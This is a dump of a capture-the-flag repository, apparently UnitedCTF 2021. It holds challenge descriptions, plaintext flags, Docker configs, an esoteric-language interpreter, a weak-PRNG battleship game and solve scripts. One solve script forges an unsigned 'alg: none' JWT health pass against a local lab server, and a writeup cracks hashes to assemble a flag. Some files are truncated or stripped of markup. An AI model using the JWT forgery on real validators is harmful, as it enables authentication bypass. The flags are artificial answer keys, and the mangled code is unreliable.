| -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/challenges/2/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-JWT_WITH_N0_4LG -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/challenges/2/README.md: -------------------------------------------------------------------------------- 1 | # VaxiNull - Alg 2 | 3 | What is the flag when you bypass with `alg`? (Search JWT/JWS `alg`s options and common vulnerabilities) 4 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/challenges/3/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-F0RG0TT3N_PUBL1C_K3Y -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/challenges/3/README.md: -------------------------------------------------------------------------------- 1 | # VaxiNull - JWKS 2 | 3 | What is the flag when you bypass with the `/.well-known/jwks.json`? (Search what the `JWK` fields do and how to sign a JWK) 4 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/challenges/4/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-T00_P3RM1551V3_155 -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/challenges/4/README.md: -------------------------------------------------------------------------------- 1 | # VaxiNull - JWKS 2 | 3 | What is the flag when you bypass with the `iss`? (Search how to host a `JWKS`) 4 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | web: 5 | container_name: web-vaxinull 6 | ports: 7 | - "4200:4200" 8 | environment: 9 | PORT: 4200 10 | ENVIRONMENT: "production" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | restart: always 15 | entrypoint: ["npm", "start"] 16 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "vaxinull", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "ts-node ./src/express.ts", 8 | "dev": "ts-node-dev ./src/express.ts", 9 | "writeup": "ts-node ./writeups/writeup.ts", 10 | "tsci": "tsc --init" 11 | }, 12 | "author": "", 13 | "license": "MIT", 14 | "devDependencies": { 15 | "@types/elliptic": "^6.4.13", 16 | "@types/express": "^4.17.13", 17 | "@types/node": "^16.7.10", 18 | "@types/qrcode": "^1.4.1", 19 | "ts-node-dev": "^1.1.8", 20 | "typescript": "^4.4.2" 21 | }, 22 | "dependencies": { 23 | "axios": "^0.21.1", 24 | "ejs": "^3.1.6", 25 | "elliptic": "^6.5.4", 26 | "express": "^4.17.1", 27 | "hash.js": "^1.1.7", 28 | "jimp": "^0.16.1", 29 | "jsqr": "^1.4.0", 30 | "qrcode": "^1.4.4", 31 | "qs": "^6.10.1" 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/partials/bootstrap.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/partials/head.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/partials/nav.ejs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/crypto/vaxinull/public/favicon.ico -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/src/utils.ts: -------------------------------------------------------------------------------- 1 | import zlib from 'zlib'; 2 | 3 | export class Base64 { 4 | public static isBase64(data: string): boolean { 5 | return /[A-Za-z\-_]*/g.test(data); 6 | } 7 | 8 | public static toBase64Url(b64: string): string { 9 | return b64.replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); 10 | } 11 | 12 | public static fromBase64Url(b64: string): string { 13 | b64 = b64.replace(/-/g, "+").replace(/_/g, "/"); 14 | 15 | let missingPadding = b64.length % 4; 16 | 17 | return b64 + new Array(4 - missingPadding).fill("=").join(""); 18 | } 19 | 20 | public static encode(data: string | Buffer): string { 21 | if(typeof data === 'string') data = Buffer.from(data); 22 | 23 | return Base64.toBase64Url(data.toString("base64")); 24 | } 25 | 26 | public static decode(data: string): string { 27 | if(/[-_]/.test(data)) data = Base64.fromBase64Url(data); 28 | 29 | return Buffer.from(data, "base64").toString("utf8"); 30 | } 31 | } 32 | 33 | export class Gzip { 34 | public static compress(data: string): string { 35 | return Base64.toBase64Url(zlib.deflateRawSync(Buffer.from(data)).toString("base64")); 36 | } 37 | 38 | public static decompress(data: string): string { 39 | return zlib.inflateRawSync(Buffer.from(data, "base64")).toString("utf8"); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/views/qr.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | VaxiNull | QR 4 | <%- include('../partials/head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 12 | 13 | 14 | <%- include('../partials/nav.ejs') %> 15 |
16 |

We provide a simple and lightweight QR code for validation. It is built off of the SHC standard (which uses JWT and JWS). We are still working on an app to read/validate the QR code.

17 |
18 |
qrcode
19 | 20 | 21 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/views/shc.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | VaxiNull | <%= title %> 4 | <%- include('../partials/head.ejs') %> 5 | <%- include('../partials/bootstrap.ejs') %> 6 | 16 | 17 | 18 | <%- include('../partials/nav.ejs') %> 19 |
20 |

<%- prompt %>

21 |
22 |
23 | 24 |
25 | 26 |
27 |
28 | <% if(locals.msg && locals.type) { %> 29 | <% if(type === 'success') { %> 30 | 35 | <% } else if(type === 'error') { %> 36 | 41 | <% }} %> 42 | 43 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/writeups/1/index.ts: -------------------------------------------------------------------------------- 1 | import axios from 'axios'; 2 | import jsQR from 'jsqr'; 3 | import Jimp from 'jimp'; 4 | import { Solution } from "../utils"; 5 | import { SHC } from '../../src/shc'; 6 | 7 | const URL = "http://localhost:4200/samples/1"; 8 | 9 | export class Solve extends Solution { 10 | public async solve() { 11 | let data = (await axios.get(URL)).data; 12 | 13 | let qrcodeRegex = /alt="qrcode" src="(.*?)"/.exec(data); 14 | 15 | if(!qrcodeRegex) throw "Unable to find QRCode."; 16 | 17 | let qrcodeUri = qrcodeRegex[1]; 18 | let qrcodeImg = await Jimp.read(Buffer.from(qrcodeUri.split(',')[1], 'base64')); 19 | let qrcodeRaw = new Uint8ClampedArray(qrcodeImg.bitmap.data.buffer); 20 | 21 | let qrcode = jsQR(qrcodeRaw, qrcodeImg.bitmap.width, qrcodeImg.bitmap.height); 22 | 23 | if(!qrcode) throw "Unable to decode QRCode."; 24 | 25 | let shc = SHC.fromString(qrcode.data); 26 | 27 | console.log(shc.body.name.given); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/writeups/2/index.ts: -------------------------------------------------------------------------------- 1 | import axios from 'axios'; 2 | import qs from 'qs'; 3 | import { Solution } from "../utils"; 4 | import { SHC } from '../../src/shc'; 5 | 6 | const URL = "http://localhost:4200/samples/2"; 7 | 8 | export class Solve extends Solution { 9 | public async solve() { 10 | let shc = new SHC( 11 | { 12 | "alg": "none", 13 | "kid": "null", 14 | "zip": "DEF" 15 | }, 16 | { 17 | "iss": URL, 18 | "name": { 19 | "given": "John", 20 | "family": "Doe" 21 | }, 22 | "vaccinated": true 23 | } 24 | ); 25 | 26 | let data = (await axios.post(URL, qs.stringify({ 27 | shc: shc.toString() 28 | }))).data; 29 | 30 | let regex = /(FLAG-.*?); 3 | } 4 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/writeups/writeup.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Wrapper for writeup ts. 3 | */ 4 | 5 | import { Solution } from "./utils"; 6 | 7 | const SOLUTIONS: { [key: string]: Solution } = { 8 | '1': new (require('./1/index') as any).Solve(), 9 | '2': new (require('./2/index') as any).Solve(), 10 | '3': new (require('./3/index') as any).Solve(), 11 | '4': new (require('./4/index') as any).Solve() 12 | } 13 | 14 | const TARGET_WRITEUP = process.argv[2]; 15 | 16 | if(!(TARGET_WRITEUP in SOLUTIONS)) throw `Unknown writeup "${TARGET_WRITEUP}".`; 17 | 18 | let solution = SOLUTIONS[TARGET_WRITEUP]; 19 | 20 | solution.solve(); 21 | -------------------------------------------------------------------------------- /challenges/desjardins/FAT32 Forensics/solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | from datetime import datetime 3 | 4 | # Pour chaque fichier dans le dossier "flags" 5 | for i, file in enumerate(os.listdir('C:/Users/Administrator/Desktop/flags')): 6 | # Récupérer les métadonnées du fichier 7 | stats = os.stat(f"C:/Users/Administrator/Desktop/flags/{file}") 8 | 9 | # On print le nom du fichier et la date de sa dernière modification. 10 | print(file) 11 | print(f"Modification: {datetime.fromtimestamp(stats.st_mtime)}") 12 | print() 13 | -------------------------------------------------------------------------------- /challenges/forensic/document/rapport-de-vulnérabilité.odt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/forensic/document/rapport-de-vulnérabilité.odt -------------------------------------------------------------------------------- /challenges/forensic/openme/.gitignore: -------------------------------------------------------------------------------- 1 | /openme -------------------------------------------------------------------------------- /challenges/forensic/openme/README.md: -------------------------------------------------------------------------------- 1 | # Partition russian doll 2 | > Forensic 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | Can you open this file? Somebody told me that there was a secret in it, but I can't acces it.. 7 | - the file openme is given 8 | 9 | ## Resources 10 | - https://linux.die.net/man/8/mount 11 | - https://linux.die.net/man/8/losetup 12 | - https://linux.die.net/man/8/cryptsetup 13 | - https://linux.die.net/man/8/pvscan 14 | 15 | ## Setup 16 | 17 | ### Requirements 18 | - cryptsetup 19 | - lvm2 20 | 21 | ### How to run 22 | - Execute the command `./build.sh` -------------------------------------------------------------------------------- /challenges/misc/discord/README.md: -------------------------------------------------------------------------------- 1 | # Discord 2 | 3 | > Misc 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Pour obtenir ce flag, vous devez résoudre l'énigme qui se trouve dans le canal #flag du serveur Discord du UnitedCTF. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - Accès à Discord 13 | 14 | # Writeup 15 | 16 | À 18h30, ce message a été posté dans #flag au lancement du CTF: 17 | 18 | ``` 19 | "bb315cb69bc74ace7a8155cd63a50ee6" + "c94456d225d310aaa19aa25931277a6463aad602" + "3db1a73a245aa55c61204c56c8d99f6d" + "a8db1d82db78ed452ba0882fb9554fc9" 20 | ``` 21 | 22 | Il s'agit d'un défi sur les hash. On peut déduire que ce sont des hash à cause que les strings ont la même longueur que ceux générés par des fonctions de hachage connues. Ils ont la longueur de hash MD5 et un seul a la longueur d'un hash SHA1. On peut trouver certains sur Google, mais il y en a au moins un qui n'est pas trouvable par Google. Il faut alors utiliser un outil spécialisé. Le site le plus connu est CrackStation. Il contient des bases de données de strings d'origine pour plus d'une dizaine de millions de hash. On peut tous les mettre dedans pour obtenir: 23 | 24 | ![image](https://user-images.githubusercontent.com/6194072/134349659-4b85ccc4-f332-4030-8c0e-b6d3d67cb595.png) 25 | 26 | Il ne reste plus qu'à assembler le flag: 27 | 28 | Cela donne: flag-discordunitedctf 29 | 30 | -------------------------------------------------------------------------------- /challenges/programming/battleship/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /out -------------------------------------------------------------------------------- /challenges/programming/battleship/.env: -------------------------------------------------------------------------------- 1 | VERSION=0.0.2 2 | PORT=5000 3 | 4 | CHANCE_FOR_WAVE=0.15 5 | TIMEOUT=60000 6 | FLAG_1=FLAG-MMM_THERE_HAS_TO_BE_A_TRICK_TO_IT 7 | FLAG_5=FLAG-ALL_YOUR_SHIPS_ARE_BELONG_TO_US -------------------------------------------------------------------------------- /challenges/programming/battleship/.gitignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /out -------------------------------------------------------------------------------- /challenges/programming/battleship/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:fermium-alpine AS build 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./*.json /app/ 7 | RUN npm install 8 | 9 | COPY ./src /app/src 10 | RUN npm run build 11 | 12 | FROM node:fermium-alpine 13 | 14 | RUN mkdir /app 15 | WORKDIR /app 16 | 17 | ENV NODE_ENV production 18 | 19 | COPY --from=build /app/package* /app/ 20 | COPY --from=build /app/node_modules /app/node_modules 21 | 22 | COPY --from=build /app/out /app 23 | 24 | RUN npm prune 25 | 26 | HEALTHCHECK --interval=60s --timeout=10s --start-period=10s --retries=3 \ 27 | CMD [ "npm", "run", "healthcheck:docker" ] 28 | 29 | EXPOSE 5000 30 | USER node 31 | CMD [ "npm", "run", "start:docker" ] -------------------------------------------------------------------------------- /challenges/programming/battleship/README.md: -------------------------------------------------------------------------------- 1 | # Pseudo random prediction 2 | > Programming 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | 7 | Can you beat this game within the timeframe? I managed to get the source code, maybe it can help you? 8 | - the whole source code is given 9 | 10 | ## Resources 11 | 12 | - https://en.wikipedia.org/wiki/Wichmann%E2%80%93Hill 13 | - https://www.youtube.com/watch?v=1hs451PfFzQ 14 | 15 | ## Setup 16 | 17 | ### Requirements 18 | - docker 19 | - docker-compose 20 | 21 | ### How to run 22 | - Execute the command `docker-compose up` -------------------------------------------------------------------------------- /challenges/programming/battleship/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.0" 2 | 3 | services: 4 | app: 5 | build: 6 | context: "." 7 | restart: "unless-stopped" 8 | environment: 9 | - NODE_ENV=production 10 | - VERSION=0.0.2 11 | - PORT=5000 12 | 13 | - CHANCE_FOR_WAVE=0.15 14 | - TIMEOUT=60000 15 | 16 | - FLAG_1=FLAG-MMM_THERE_HAS_TO_BE_A_TRICK_TO_IT 17 | - FLAG_5=FLAG-ALL_YOUR_SHIPS_ARE_BELONG_TO_US 18 | ports: 19 | - 5000:5000 20 | -------------------------------------------------------------------------------- /challenges/programming/battleship/nodemon.json: -------------------------------------------------------------------------------- 1 | { 2 | "watch": ["src"], 3 | "ext": "ts,json", 4 | "ignore": ["src/**/*.spec.ts"], 5 | "exec": "ts-node ./src/index.ts" 6 | } -------------------------------------------------------------------------------- /challenges/programming/battleship/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "battleship", 3 | "version": "1.0.0", 4 | "description": "https://www.youtube.com/watch?v=1hs451PfFzQ", 5 | "main": "out/index.js", 6 | "scripts": { 7 | "build": "tsc", 8 | "dev": "nodemon --config nodemon.json", 9 | "start": "node out/index.js", 10 | "start:docker": "node index.js", 11 | "healthcheck:docker": "node healthcheck.js || kill 1" 12 | }, 13 | "keywords": [], 14 | "author": "", 15 | "license": "ISC", 16 | "devDependencies": { 17 | "@types/node": "^14.0.11", 18 | "nodemon": "^2.0.12", 19 | "ts-node": "^10.2.0", 20 | "typescript": "^4.3.5" 21 | }, 22 | "dependencies": { 23 | "dotenv": "^8.2.0" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /challenges/programming/battleship/src/healthcheck.ts: -------------------------------------------------------------------------------- 1 | import dotenv from "dotenv"; 2 | dotenv.config(); 3 | 4 | import net from "net"; 5 | 6 | let data = Buffer.from(""); 7 | const socket = net 8 | .connect({ 9 | host: "127.0.0.1", 10 | port: Number(process.env.PORT || 5000), 11 | }) 12 | .on("data", (b) => (data = Buffer.concat([data, b]))); 13 | 14 | setTimeout(() => { 15 | try { 16 | const healthy = data.toString().slice(-2).trim() === ">" ? true : false; 17 | socket.write("healthcheck " + (healthy ? "Y" : "N"), () => { 18 | socket.destroy(); 19 | process.exit(healthy ? 0 : 1); 20 | }); 21 | } catch (e) { 22 | console.error(e); 23 | process.exit(1); 24 | } 25 | }, 2500); 26 | -------------------------------------------------------------------------------- /challenges/programming/battleship/src/random.ts: -------------------------------------------------------------------------------- 1 | export class Random { 2 | private _s1: number; 3 | private _s2: number; 4 | private _s3: number; 5 | 6 | constructor(s1?: number, s2?: number, s3?: number) { 7 | this._s1 = s1 || Date.now(); 8 | this._s2 = s2 || Date.now(); 9 | this._s3 = s3 || Date.now(); 10 | } 11 | 12 | public next(): number { 13 | this._s1 = (171 * this._s1) % 30269; 14 | this._s2 = (172 * this._s2) % 30307; 15 | this._s3 = (170 * this._s3) % 30323; 16 | 17 | return (this._s1 / 30269 + this._s2 / 30307 + this._s3 / 30323) % 1; 18 | } 19 | 20 | public peek(): number { 21 | return ( 22 | (((171 * this._s1) % 30269) / 30269 + 23 | ((172 * this._s2) % 30307) / 30307 + 24 | ((170 * this._s3) % 30323) / 30323) % 25 | 1 26 | ); 27 | } 28 | 29 | public nextRange(min: number, max: number) { 30 | return this.next() * (max - min) + min; 31 | } 32 | 33 | public roll(chance: number) { 34 | return this.next() < chance; 35 | } 36 | 37 | public pick(items: T[]): T { 38 | return items[~~(this.next() * items.length)]; 39 | } 40 | 41 | public get s1() { 42 | return this._s1; 43 | } 44 | 45 | public get s2() { 46 | return this._s2; 47 | } 48 | 49 | public get s3() { 50 | return this._s3; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /challenges/programming/battleship/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "module": "commonjs", 4 | "moduleResolution": "node", 5 | "pretty": true, 6 | "sourceMap": true, 7 | "target": "es6", 8 | "outDir": "./out", 9 | "sourceRoot": "./src", 10 | "esModuleInterop": true, 11 | "skipLibCheck": true, 12 | "resolveJsonModule": true 13 | }, 14 | "include": ["**/*.ts"], 15 | "exclude": ["node_modules"] 16 | } 17 | -------------------------------------------------------------------------------- /challenges/programming/esolang/.dockerfile: -------------------------------------------------------------------------------- 1 | node_modules 2 | web/public/ctfl.js -------------------------------------------------------------------------------- /challenges/programming/esolang/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 AS interpreter 2 | 3 | WORKDIR /app 4 | 5 | COPY ./interpreters/js/package*.json ./ 6 | 7 | RUN npm install 8 | 9 | COPY ./interpreters/js/ . 10 | 11 | RUN npm run webpack 12 | 13 | FROM node:14 AS web 14 | 15 | WORKDIR /app 16 | 17 | COPY ./web/package*.json ./ 18 | 19 | RUN npm install 20 | 21 | COPY ./web/. ./ 22 | 23 | COPY ./tests/. ./tests/ 24 | 25 | COPY ./challenges/. ./challenges/ 26 | 27 | COPY ./interpreters/js/. ./interpreter/ 28 | 29 | COPY --from=interpreter /app/out/ctfl.js ./public/ 30 | 31 | CMD npm start 32 | -------------------------------------------------------------------------------- /challenges/programming/esolang/README.md: -------------------------------------------------------------------------------- 1 | # CTFLang 2 | 3 | > Programming 4 | 5 | Author: @alexandre-lavoie 6 | 7 | ## Overview 8 | 9 | Esoteric Programming Languages (Esolangs) are programming languages that are designed to be weird, hard, and/or a joke. Often included in CTFs are `BrainFuck` and `JSFuck`. To introduce more challenge, a custom esolang `CTFLang` was created for this CTF. 10 | 11 | ## Specification 12 | 13 | A `SPECIFICATION.md` is provided to describe `CTFLang`. The interpreters were designed around this document. 14 | 15 | ## Challenges 16 | 17 | Given the scale of the repo, challenges were split off into `./challenges`. The challenges should be prefaced by the previous overview, provide the specification document, and a link to the website. Additionally, a comment needs to be added regarding the irregular flag format that is `[A-Z_]*`. The base format is provided as `./challenges/FORMAT.md`. 18 | 19 | ## Resources 20 | 21 | - Befunge: https://esolangs.org/wiki/Befunge 22 | 23 | - BrainFuck: https://esolangs.org/wiki/Brainfuck 24 | 25 | - JSFuck: https://esolangs.org/wiki/JSFuck 26 | 27 | # Setup 28 | 29 | Requirements: 30 | 31 | - `docker` 32 | - `docker-compose` 33 | 34 | Start: 35 | 36 | ``` 37 | Development: docker-compose -f docker-compose.dev.yml up 38 | Production: docker-compose up 39 | ``` 40 | 41 | (The challenge will be locally hosted at http://localhost:1337/). 42 | -------------------------------------------------------------------------------- /challenges/programming/esolang/challenges/1/FLAG: -------------------------------------------------------------------------------- 1 | 2DPROGRAMMING -------------------------------------------------------------------------------- /challenges/programming/esolang/challenges/1/README.md: -------------------------------------------------------------------------------- 1 | Here is a glimpse of what people think of CTFLang: 2 | 3 | ``` 4 | @ESOFOU1234: 2. WORDS - PURE AG.ONY! NOT SURE WHY I'M M.AKING M.ORE #AGONY 5 | ``` 6 | 7 | ``` 8 | @FRESHLEMON: I D.ON'T RECOMMEND TO ANYONE!!! I SPENT MORE TIME CRYI.N.G. THAN PROGRAMMING #CRYING 9 | ``` 10 | 11 | ``` 12 | @ALEXLAVOIE: I'M NOT A P.R.O. EVEN IF WR.OTE THE LA.NGUAGE #HELP 13 | ``` 14 | 15 | Hopefully, this won't discourage you. It does make for a good `flag` though! 16 | 17 | Note: Flag is not in the standard `FLAG-...` format. 18 | -------------------------------------------------------------------------------- /challenges/programming/esolang/challenges/2/FLAG: -------------------------------------------------------------------------------- 1 | CTF_LANG -------------------------------------------------------------------------------- /challenges/programming/esolang/challenges/2/README.md: -------------------------------------------------------------------------------- 1 | CTFLang is said to make for an unbreakable flag validator. I herd the challenge creator got inspiration from the gallery. Can you crack it? 2 | 3 | Note: The flag is the shortest input giving `T`. The flag is not in the standard `FLAG-...` format. 4 | -------------------------------------------------------------------------------- /challenges/programming/esolang/challenges/3/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-C0D1NG_CTFL4NG_15_3Z -------------------------------------------------------------------------------- /challenges/programming/esolang/challenges/3/README.md: -------------------------------------------------------------------------------- 1 | Time to program in CTFLang. Can you write a program that reverses a "0" terminated string from stdin? 2 | 3 | Example: 4 | ``` 5 | UNITEDCTF0 -> FTCDETINU 6 | ``` 7 | -------------------------------------------------------------------------------- /challenges/programming/esolang/challenges/FORMAT.md: -------------------------------------------------------------------------------- 1 | # CTFLang # 2 | 3 | > Programming 4 | 5 | Author: @alexandre-lavoie 6 | 7 | ## Overview 8 | 9 | Esoteric Programming Languages (Esolangs) are programming languages that are designed to be weird, hard, and/or a joke. Often included in CTFs are `BrainFuck` and `JSFuck`. To introduce more challenge, a custom esolang `CTFLang` was created for this CTF. 10 | 11 | ## Specification 12 | 13 | A `SPECIFICATION.md` is provided on this challenge to describe `CTFLang`. The interpreters were designed around this document. 14 | 15 | ## Challenge 16 | 17 | `ENTER CHALLENGE HERE` 18 | 19 | ## Flag 20 | 21 | The flag for this set of challenges follows the `[A-Z0-9_]*` format. To submit, use `CTF{FLAG_HERE}`. 22 | -------------------------------------------------------------------------------- /challenges/programming/esolang/docker-compose.dev.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | web: 5 | container_name: web-esolang 6 | ports: 7 | - "1476:1476" 8 | environment: 9 | PORT: 1476 10 | ENVIRONMENT: "development" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | restart: always 15 | entrypoint: ["npm", "run", "dev"] 16 | volumes: 17 | - ./web/src:/app/src 18 | - ./web/views:/app/views 19 | - ./web/partials:/app/partials 20 | - ./tests:/app/tests 21 | - ./challenges:/app/challenges 22 | -------------------------------------------------------------------------------- /challenges/programming/esolang/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | web: 5 | container_name: web-esolang 6 | ports: 7 | - "1476:1476" 8 | environment: 9 | PORT: 1476 10 | ENVIRONMENT: "production" 11 | build: 12 | context: . 13 | dockerfile: Dockerfile 14 | restart: always 15 | entrypoint: ["npm", "start"] 16 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/js/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | out/ 3 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/js/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ctflang", 3 | "version": "1.0.0", 4 | "description": "Interpreter for CTFLang", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "ts-node ./src/node.ts", 8 | "dev": "ts-node-dev ./src/node.ts", 9 | "tsci": "tsc --init", 10 | "webpack": "webpack" 11 | }, 12 | "author": "Alexandre Lavoie", 13 | "license": "MIT", 14 | "devDependencies": { 15 | "@types/argparse": "^2.0.10", 16 | "@types/node": "^16.6.1", 17 | "@types/readline-sync": "^1.4.4", 18 | "ts-loader": "^9.2.5", 19 | "ts-node-dev": "^1.1.8", 20 | "typescript": "^4.3.5", 21 | "webpack": "^5.50.0", 22 | "webpack-cli": "^4.7.2" 23 | }, 24 | "dependencies": { 25 | "argparse": "^2.0.1", 26 | "readline-sync": "^1.4.10" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/js/src/node.ts: -------------------------------------------------------------------------------- 1 | import { Interpreter } from './interpreter'; 2 | import fs from 'fs'; 3 | import readlineSync from 'readline-sync'; 4 | import argparse from 'argparse'; 5 | 6 | function getInput(): string { 7 | return readlineSync.question('Enter: '); 8 | } 9 | 10 | let parser = new argparse.ArgumentParser({description: "CTFLang Interpreter."}); 11 | 12 | parser.add_argument('file', {help: "File to interpret."}); 13 | parser.add_argument('--debug', {help: 'Displays interpreter memory.', action: 'store_true'}); 14 | parser.add_argument('--delay', {help: 'Delay for verbose mode.', default: 10}); 15 | 16 | let args = parser.parse_args(); 17 | 18 | let code = fs.readFileSync(args.file).toString(); 19 | 20 | let interpreter = new Interpreter(code, getInput); 21 | 22 | let loop = setInterval(() => { 23 | if(args.debug) { 24 | interpreter.visualize(); 25 | } 26 | 27 | if(!interpreter.step()) { 28 | clearInterval(loop); 29 | console.log(interpreter.output); 30 | } 31 | }, (args.debug) ? args.delay : 0); 32 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/js/src/utils.ts: -------------------------------------------------------------------------------- 1 | export type TileType = string; 2 | export type PositionIndex = string; 3 | 4 | export class Position { 5 | public x: number; 6 | public y: number; 7 | 8 | constructor(x: number, y: number) { 9 | this.x = x; 10 | this.y = y; 11 | } 12 | 13 | public static from(index: PositionIndex): Position { 14 | let [x, y] = index.split(',').map(v => parseInt(v)); 15 | return new Position(x, y); 16 | } 17 | 18 | public raw() { 19 | return [this.x, this.y]; 20 | } 21 | 22 | public clone(): Position { 23 | return new Position(this.x, this.y); 24 | } 25 | 26 | public toString(): string { 27 | return `${this.x},${this.y}`; 28 | } 29 | } 30 | 31 | export enum Tile { 32 | EMPTY = ' ', 33 | PLAYER = '@', 34 | PRINT = '.', 35 | LEFT = '<', 36 | RIGHT = '>', 37 | UP = '^', 38 | DOWN = 'v', 39 | EQUAL = '=', 40 | POP = '!', 41 | COPY = '$', 42 | FLAG = '#', 43 | DROP = '_', 44 | SPACE = '?', 45 | ADD = '+', 46 | SUBTRACT = '-', 47 | INPUT = ',' 48 | } 49 | 50 | export enum Direction { 51 | LEFT = 0, 52 | RIGHT = 1, 53 | UP = 2, 54 | DOWN = 3 55 | } 56 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/js/src/webpack.ts: -------------------------------------------------------------------------------- 1 | export { Interpreter } from './interpreter'; 2 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/js/webpack.config.js: -------------------------------------------------------------------------------- 1 | const path = require('path'); 2 | 3 | module.exports = { 4 | entry: './src/webpack.ts', 5 | mode: 'production', 6 | module: { 7 | rules: [ 8 | { 9 | test: /\.tsx?$/, 10 | use: 'ts-loader', 11 | exclude: /node_modules/, 12 | }, 13 | ], 14 | }, 15 | resolve: { 16 | extensions: ['.tsx', '.ts', '.js'], 17 | }, 18 | output: { 19 | library: 'CTFLang', 20 | filename: 'ctfl.js', 21 | path: path.resolve(__dirname, 'out'), 22 | }, 23 | }; 24 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/py/.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/py/README.md: -------------------------------------------------------------------------------- 1 | # CTFLang Python 2 | 3 | A Python interpreter for CTFLang. 4 | 5 | ## Usage 6 | 7 | ``` 8 | python ctfl.py 9 | ``` 10 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/py/ctf/__init__.py: -------------------------------------------------------------------------------- 1 | from .interpreter import Interpreter 2 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/py/ctf/enums.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | class Tile(Enum): 4 | EMPTY = ord(' ') 5 | PLAYER = ord('@') 6 | PRINT = ord('.') 7 | LEFT = ord('<') 8 | RIGHT = ord('>') 9 | UP = ord('^') 10 | DOWN = ord('v') 11 | EQUAL = ord('=') 12 | POP = ord('!') 13 | COPY = ord('$') 14 | FLAG = ord('#') 15 | DROP = ord('_') 16 | SPACE = ord('?') 17 | ADD = ord('+') 18 | SUBTRACT = ord('-') 19 | INPUT = ord(',') 20 | 21 | class Direction(Enum): 22 | LEFT = 0 23 | RIGHT = 1 24 | UP = 2 25 | DOWN = 3 26 | -------------------------------------------------------------------------------- /challenges/programming/esolang/interpreters/py/ctf/player.py: -------------------------------------------------------------------------------- 1 | from .enums import Direction 2 | 3 | from typing import List, Tuple 4 | 5 | class Backpack: 6 | __stack: List[int] 7 | 8 | def __init__(self, stack: List[int] = None): 9 | if stack == None: 10 | self.__stack = [] 11 | else: 12 | self.__stack = stack 13 | 14 | def push(self, val: int): 15 | self.__stack.append(val) 16 | 17 | def pop(self) -> int: 18 | return self.__stack.pop() 19 | 20 | def peek(self, depth: int = 0) -> int: 21 | return self.__stack[-depth - 1] 22 | 23 | def empty(self) -> bool: 24 | return len(self.__stack) == 0 25 | 26 | def size(self) -> int: 27 | return 